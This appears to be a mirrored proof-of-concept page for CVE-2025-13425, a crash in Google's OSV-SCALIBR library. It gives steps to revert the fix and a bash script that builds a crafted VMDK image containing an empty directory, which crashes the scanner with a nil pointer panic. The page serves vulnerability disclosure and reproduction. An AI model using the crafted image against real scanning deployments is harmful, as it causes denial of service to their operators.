目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1000

100.0%

CVE-2025-13425 PoC — OSV-SCALIBR 安全漏洞

来源
关联漏洞
标题:OSV-SCALIBR 安全漏洞 (CVE-2025-13425)
Description:OSV-SCALIBR是Google开源的一个软件组合分析库。 OSV-SCALIBR存在安全漏洞,该漏洞源于文件系统遍历路径错误,可能导致应用程序崩溃。
Description
This repo contains instructions to reproduce CVE-2025-13425: Null Pointer dereference / Array over-indexing vulnerability that I found in Google's OSV-SCALIBR project.
介绍
To reporoduce the CVE-2025-13425 just follow the steps below:

- Step 1: Clone the fresh osv-scalibr source code:
	```
	$ git clone https://github.com/google/osv-scalibr
	```

- Step 2: Remove the code mentioned in fix commit https://github.com/google/osv-scalibr/commit/e67c4e198ca099cb7c16957a80f6c5331d90a672

- Step 3: Use the vmdk.go.patch patch and apply it to vmdk.go with:
	```
	$ cd osv-scalibr
	$ git apply /path/to/vmdk.go.patch
	```

	- Why do we need these changes to vmdk.go ?

		This is just an example and this bug is not just limited to vmdk plugin. This is required to trigger the bug. The bug triggers when someone writes their own plugin which traverses a virtual filesystem contained inside a file. The bug is in the way osv-scalibr handles virtual filesystems. This bug will go unnoticed during compilation or production but it'll get triggered when user supplies a vmdk file which contains at least one empty directory.
		

- Step 4: Compile the source code to get the "scalibr" binary:
	```
	$ make clean && make
	```

- Step 5: Trigger with:
	```
	$ go test -v ./extractor/filesystem/embeddedfs/vmdk/

		Expected output:

		...
			=== RUN   TestExtractValidVMDK/DiskImage_1
    			vmdk_test.go:87: GetEmbeddedFS() failed: unsupported filesystem type unknown for partition 2
			--- FAIL: TestExtractValidVMDK (1.35s)
			    --- PASS: TestExtractValidVMDK/DiskImage_0 (0.02s)
			    --- FAIL: TestExtractValidVMDK/DiskImage_1 (0.00s)
			panic: runtime error: invalid memory address or nil pointer dereference [recovered]
				panic: runtime error: invalid memory address or nil pointer dereference
			[signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x7613e2]
		...
	```

	OR

	You can generate a malicious (or minimal) vmdk image which contains an empty directory. To do this, create a new bash script with the following code (say gen_malicious_vmdk.sh):
	```
	#!/usr/bin/env bash

	dd if=/dev/zero of=valid.img bs=1M count=20
	parted -s --align optimal valid.img --script mklabel gpt
	parted -s --align optimal valid.img --script mkpart primary ext4 0% 100%
	sudo losetup -fP valid.img
	LOOPDEV=$(losetup -j valid.img | cut -d: -f1)
	PARTITION1="${LOOPDEV}p1"
	sudo mkfs.ext4 $PARTITION1
	sudo rm -rf /mnt/valid*
	sudo mkdir /mnt/valid
	sudo mount ${PARTITION1} /mnt/valid
	sudo mkdir /mnt/valid/empty_dir
	sudo umount /mnt/valid
	sudo losetup -d ${LOOPDEV}
	sudo rm -rf /mnt/valid* *.vmdk
	qemu-img convert valid.img -O vmdk malicious.vmdk
	```

	Now,

	```
	$ chmod +x gen_malicious_vmdk.sh
	$ ./gen_malicious_vmdk.sh
	```

	It will create a file called "malicious.vmdk". Now trigger the vulnerability with:
	```
	$ ./scalibr --extractors=embeddedfs/vmdk -o textproto=output.txt malicious.vmdk

		Expected output:

			2025/11/05 19:02:45 Running scan with 1 plugins
			2025/11/05 19:02:45 Paths to extract: [../try/malicious.vmdk]
			2025/11/05 19:02:45 Scan roots: [%!s(*fs.ScanRoot=&{/ /})]
			2025/11/05 19:02:45 Starting filesystem walk for root: /
			2025/11/05 19:02:45 End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 124.392222ms elapsed, 124.392999ms wall time
			2025/11/05 19:02:45 Starting filesystem walk for root: 
			panic: runtime error: invalid memory address or nil pointer dereference
				panic: runtime error: invalid memory address or nil pointer dereference
			[signal SIGSEGV: segmentation violation code=0x1 addr=0x10 pc=0x1fbb303]
			...
	```

CVE-2025-13425 discovered by Yuvraj Saxena (ysaxenax@gmail.com)
文件快照

[4.0K] /data/pocs/4b790e33e69e7f0ae846fd2edbce764ffba56777 ├── [ 566] gen_malicious_vmdk.sh ├── [ 11K] LICENSE ├── [3.4K] README.md └── [ 24K] vmdk.go.patch 1 directory, 4 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →